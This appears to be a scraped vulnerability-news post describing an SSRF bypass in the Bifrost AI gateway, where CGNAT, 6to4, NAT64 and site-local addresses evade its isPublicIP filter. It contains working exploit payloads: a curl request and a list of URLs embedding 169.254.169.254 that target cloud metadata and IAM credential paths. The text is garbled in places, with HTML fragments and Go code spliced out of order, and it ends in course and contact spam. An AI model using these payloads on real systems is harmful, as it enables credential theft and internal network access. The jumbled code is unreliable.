Listen to this Post
The SSRF deny-list in Bifrost’s core/providers/utils/fetch.go is implemented by isPublicIP, which determines if a target address is routable on the public internet. This function uses Go’s netip.Addr methods IsPrivate(), IsLoopback(), IsLinkLocalUnicast(), etc., to block non‑public addresses. However, IsPrivate() only covers RFC 1918 (IPv4 private) and RFC 4193 (IPv6 unique local). It completely misses Carrier‑Grade NAT (CGNAT) space defined in RFC 6598 (100.64.0.0/10). Furthermore, Unmap() only collapses IPv4‑mapped IPv6 addresses (::ffff:0:0/96) to IPv4, but does not handle 6to4 (2002::/16) or NAT64 (64:ff9b::/96 and 64:ff9b:1::/48) prefixes, which embed an IPv4 address within the IPv6 address. Deprecated IPv6 site‑local addresses (fec0::/10) are also not rejected. As a result, an attacker can supply a URL containing these forbidden ranges in a multimodal request to the Bedrock or Vertex providers. FetchAndEncodeURL, called from document/image handling paths (bedrock/utils.go:1073, :1187; vertex/vertex.go:402), will accept these targets and attempt to dial them. Notably, 2002:a9fe:a9fe:: and 64:ff9b::a9fe:a9fe embed 169.254.169.254 – the cloud instance metadata endpoint. On dual‑stack or NAT64‑enabled hosts (default on AWS/GCP IPv6‑only subnets), this permits SSRF to IMDS even though the direct IPv4 and IPv4‑mapped forms are correctly blocked. The rest of the fetch hardening is robust: DNS rebinding is prevented by pinning ips[bash], redirects are re‑validated, scheme is gated, size is capped at 25 MiB, and timeout is 20 seconds. The vulnerability is purely a classification gap in isPublicIP. The affected file is core/providers/utils/fetch.go, lines 107‑118, and is reached only through FetchAndEncodeURL line 28. Confirmed on dev HEAD f415c14 (core/version=1.5.15). Attack surface is broad: any client able to send a chat‑completion request with a remote image/document URL can trigger it, because SanitizeImageURL only validates scheme and host presence – no address filtering. The PoC test (go test ./providers/utils/ -run TestSSRFGateDecision -v) shows all CGNAT/6to4/NAT64/site‑local targets pass isPublicIP and attempt a real connection, while all controls (direct IMDS, RFC1918, loopback, IPv4‑mapped) are rejected at the gate with “blocked fetch to non‑public address”. The honest scope note clarifies that live metadata bytes were not captured, but the conditional routing preconditions are standard, and the defect (unconditional permission) is proven.
DailyCVE Form:
Platform: Bifrost
Version: 1.5.15
Vulnerability : SSRF Bypass
Severity: High
date: 2026-08-28
Prediction: Patch by 2026-09-11
What Undercode Say:
Analytics and reproduction commands:
Run the in-package test to confirm the gate decision split
go test ./providers/utils/ -run TestSSRFGateDecision -v
Isolate the isPublicIP classification for a given address (Go snippet)
<
h2 style=”color: blue;”>cat < } if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() || } } Quick curl to the gateway (if exposed) using a 6to4 IMDS address To exploit, an attacker crafts a multimodal content block in the chat‑completion request, setting the file/image URL to one of the bypass addresses: This closes all observed bypass vectors without affecting legitimate public addresses. Successful SSRF allows the gateway to probe internal network services, including cloud metadata endpoints (IMDS) which can expose temporary IAM credentials, internal Kubernetes APIs, and other RFC 6598 routed services. In multi‑tenant deployments, any authenticated (or even unauthenticated, depending on configuration) client can pivot into the internal network, leading to privilege escalation, data exfiltration, and further lateral movement. The vulnerability is rated High due to the ease of exploitation and the sensitive nature of reachable internal infrastructure. Join Undercode Academy for Verified Certifications Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems: Reported By: github.compackage main
import (“fmt”; “net/netip”)
func main() {
ips := []string{“100.64.1.1″,”2002:a9fe:a9fe::”,”64:ff9b::a9fe:a9fe”,”fec0::1″}
for _, s := range ips {
addr := netip.MustParseAddr(s)
fmt.Printf(“%-20s isPublicIP=%v\n”, s, isPublicIP(addr))
}func isPublicIP(ip netip.Addr) bool {
ip = ip.Unmap()
ip.IsMulticast() || ip.IsUnspecified() || ip.IsInterfaceLocalMulticast() {
return false
return true
EOF
curl -X POST https://your-bifrost-gateway/v1/chat/completions \
-H “Content-Type: application/json” \
-d ‘{“model”:”any”,”messages”:[{“role”:”user”,”content”:[{“type”:”image_url”,”image_url”:{“url”:”http://[2002:a9fe:a9fe::]:8080/latest/meta-data/”}}]}]}’Exploit: (Educational Purposes!)
– CGNAT: http://100.64.1.1:8080/internal/service
– 6to4 (IMDS): http://[2002:a9fe:a9fe::]/latest/meta-data/iam/security-credentials/
– NAT64 (IMDS): http://[64:ff9b::a9fe:a9fe]/latest/meta-data/
– Site‑local: http://[fec0::1]:22/
The gateway will not pre‑filter these, will perform a DNS lookup (if hostname), resolve to the forbidden IP, and then dial the target, returning the response or error – but crucially the connection attempt is made, exfiltrating internal data if the service responds.Protection: from this CVE
Apply the suggested fix in isPublicIP after Unmap():
2. For IPv6, extract embedded IPv4 from:
Re‑run loopback/private/link‑local/CGNAT checks on the extracted IPv4.
3. Reject deprecated site‑local fec0::/10.
Impact:
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
🚀 Request a Custom Project:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by ThousandsSources:
Extra Source Hub:
Undercode🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow DailyCVE & Stay Tuned:
